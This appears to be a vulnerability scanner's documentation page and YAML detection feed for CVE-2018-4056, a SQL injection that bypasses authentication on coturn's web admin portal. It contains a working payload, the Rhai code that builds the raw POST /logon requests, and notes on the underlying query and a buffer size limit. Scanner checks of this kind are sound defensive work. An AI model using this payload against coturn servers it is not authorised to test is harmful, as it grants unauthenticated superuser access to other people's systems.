coturn — 1 vulnerability check

noctis ships 1 vulnerability check for coturn, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

coturn web admin login SQL injection authentication bypass

CVECVE-2018-4056
Severitycritical · CVSS 9.8
Categorysqli — SQL injection
Serviceshttp, https
Detectionset_var, script, tcp_open, tcp_send, tcp_close, match · highest QoD 97
Feedtests/vulnerabilities/coturn/CVE-2018-4056.yaml

Opens one connection (TLS on HTTPS) to the coturn admin portal, sends a first request that coturn only answers with its logon page, then posts two logins to /logon whose username is the SQL injection ' union select '','<random>'; -- . The first login uses a different random password and must be rejected; the second uses the random value injected in the UNION row as password and must open an administrator session: the reply shows the injected username as the logged-in admin user and the superuser "Set Admin Session Realm" control. The pair proves the admin password is checked against a row supplied by the attacker. Nothing is read or changed; the session ends when the connection is closed.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. Opens a persistent TCP/TLS socket
  3. Sends {{req.prime}} on the open socket
  4. Sends {{req.ctl}} on the open socket
  5. Sends {{req.exp}} on the open socket
  6. Parses / computes the next value with a Rhai script
  7. Checks verdict for ^confirmed$ → finding QoD 97: coturn web admin login SQL injection authentication bypass
  8. Checks verdict for ^noctl$ → finding QoD 75: coturn web admin login SQL injection authentication bypass

References:

Feed source — tests/vulnerabilities/coturn/CVE-2018-4056.yaml
# Ported from OpenVAS/Greenbone NASL 2019/coturn/gb_coturn_auth_bypass_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.141944, GPL-2.0-only).
#
# Same flow as the NASL: on one keep-alive connection, a first request (coturn
# 4.5.0.x treats the first HTTP request of an admin connection as "initial input"
# and only answers the logon page), then POST /logon with the username
# ' union select '','<pw>'; -- . coturn builds
#   select realm,password from admin_user where name='<uname>'
# with snprintf, so the UNION row (realm '', password <pw>) is what the password
# is checked against. Empty realm = superuser, hence "Set Admin Session Realm".
#
# Improvements over the NASL:
# - random 6-char password instead of a fixed '0000', and the reply must echo the
#   exact injected username as the logged-in admin (not just the two substrings);
# - a control login with the same injected username but a different random
#   password is sent first on the same connection and must be rejected: the
#   rejected/accepted pair proves the password is checked against our UNION row
#   (QoD 97). A target that also accepts the control is not reported as SQLi.
#   No control reply -> QoD 75 (fail-closed).
# - trailing space after -- so MySQL backends also read it as a comment;
# - the username is kept at 31 bytes: coturn copies it unchecked into a 33-byte
#   session buffer (as_login), so a longer payload would overflow it.
# The session lives on the socket only; it is dropped when the feed closes it.
# Verified against the real instrumentisto/coturn:4.5.0.8 (TP, TURN TLS port)
# and 4.5.1.0 (TN, web-admin listener).
uid: 8ef35f82-50c3-49eb-9191-7231c4ca530d
name: "coturn web admin login SQL injection authentication bypass"
description: >-
  Opens one connection (TLS on HTTPS) to the coturn admin portal, sends a
  first request that coturn only answers with its logon page, then posts two logins to /logon whose
  username is the SQL injection ' union select '','<random>'; -- . The first
  login uses a different random password and must be rejected; the second
  uses the random value injected in the UNION row as password and must open an
  administrator session: the reply shows the injected username as the logged-in
  admin user and the superuser "Set Admin Session Realm" control. The pair
  proves the admin password is checked against a row supplied by the
  attacker. Nothing is read or changed; the session ends when the connection
  is closed.
category: sqli
cves: [CVE-2018-4056]
cvss: 9.8
severity: critical
confidence_base: 0.30
tags: [coturn, turn, webrtc, web-admin, sqli, auth-bypass]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2018-4056"
  - "https://talosintelligence.com/vulnerability_reports/TALOS-2018-0730"
  - "https://github.com/coturn/coturn/blob/4.5.1.0/ChangeLog"

steps:
  - id: init-ctl
    action: set_var
    var_name: ctl
    var_value: ""
  - id: init-exp
    action: set_var
    var_name: exp
    var_value: ""

  - id: build
    action: script
    store_as: req
    code: |
      let pw = rand_str(6);
      let bad = rand_str(6);
      while bad == pw { bad = rand_str(6); }
      let u = "%27+union+select+%27%27%2C%27" + pw + "%27%3B+--+";
      let b_ctl = "uname=" + u + "&pwd=" + bad;
      let b_exp = "uname=" + u + "&pwd=" + pw;
      let h = "POST /logon HTTP/1.1\r\nHost: " + target_host + "\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: ";
      #{
        pw: pw,
        bad: bad,
        prime: "GET /favicon.ico HTTP/1.1\r\nHost: " + target_host + "\r\n\r\n",
        ctl: h + b_ctl.len() + "\r\n\r\n" + b_ctl,
        exp: h + b_exp.len() + "\r\n\r\n" + b_exp,
        marker: "admin user: <b><i>' union select '','" + pw + "'; -- </i></b>"
      }

  - id: open
    action: tcp_open
    port: "{{port}}"
    handle: admin
    timeout_secs: 10
    store_as: conn

  - id: prime
    action: tcp_send
    handle: admin
    send: "{{req.prime}}"
    condition: 'type_of(conn) == "map" && conn.connected == true'
    store_as: prime

  - id: control
    action: tcp_send
    handle: admin
    send: "{{req.ctl}}"
    condition: 'type_of(conn) == "map" && conn.connected == true'
    store_as: ctl

  - id: exploit
    action: tcp_send
    handle: admin
    send: "{{req.exp}}"
    condition: 'type_of(conn) == "map" && conn.connected == true'
    store_as: exp

  - id: close
    action: tcp_close
    handle: admin

  - id: evaluate
    action: script
    store_as: verdict
    code: |
      let c = "";
      if type_of(ctl) == "map" && type_of(ctl.response) == "string" { c = ctl.response; }
      let e = "";
      if type_of(exp) == "map" && type_of(exp.response) == "string" { e = exp.response; }
      let ok = e.contains(req.marker) && e.contains("Set Admin Session Realm");
      let ctl_in = c.contains("Set Admin Session Realm") || c.contains("admin user: <b><i>");
      let ctl_reply = c.starts_with("HTTP/1.");
      let state = "none";
      if ok {
        if ctl_in { state = "anypw"; } else if ctl_reply { state = "confirmed"; } else { state = "noctl"; }
      }
      state

  - id: confirmed
    action: match
    source: verdict
    pattern: "^confirmed$"
    on_match:
      finding:
        title: "coturn web admin login SQL injection authentication bypass"
        description: "The coturn HTTPS admin portal inserts the login username into its SQL query unescaped, so an unauthenticated attacker logs in as a superuser administrator with a UNION-crafted username and a password of their choice."
        confidence_delta: 0.65
        qod: 97
        evidence: "POST /logon with username ' union select '','{{req.pw}}'; -- opened an admin session: the reply lists that username as the admin user with the superuser Set Admin Session Realm control. The same username with password {{req.bad}} was rejected first on the same connection."
        remediation: "Upgrade coturn to 4.5.1.0 or later (it validates the admin username), keep the web admin interface disabled unless needed, and bind it to a trusted interface only."
      stop: true

  - id: no-control
    action: match
    source: verdict
    pattern: "^noctl$"
    on_match:
      finding:
        title: "coturn web admin login SQL injection authentication bypass"
        description: "The coturn HTTPS admin portal inserts the login username into its SQL query unescaped, so an unauthenticated attacker logs in as a superuser administrator with a UNION-crafted username and a password of their choice."
        confidence_delta: 0.50
        qod: 75
        evidence: "POST /logon with username ' union select '','{{req.pw}}'; -- opened an admin session: the reply lists that username as the admin user with the superuser Set Admin Session Realm control. The control login with a wrong password got no reply."
        remediation: "Upgrade coturn to 4.5.1.0 or later (it validates the admin username), keep the web admin interface disabled unless needed, and bind it to a trusted interface only."
      stop: true

View these feeds on GitHub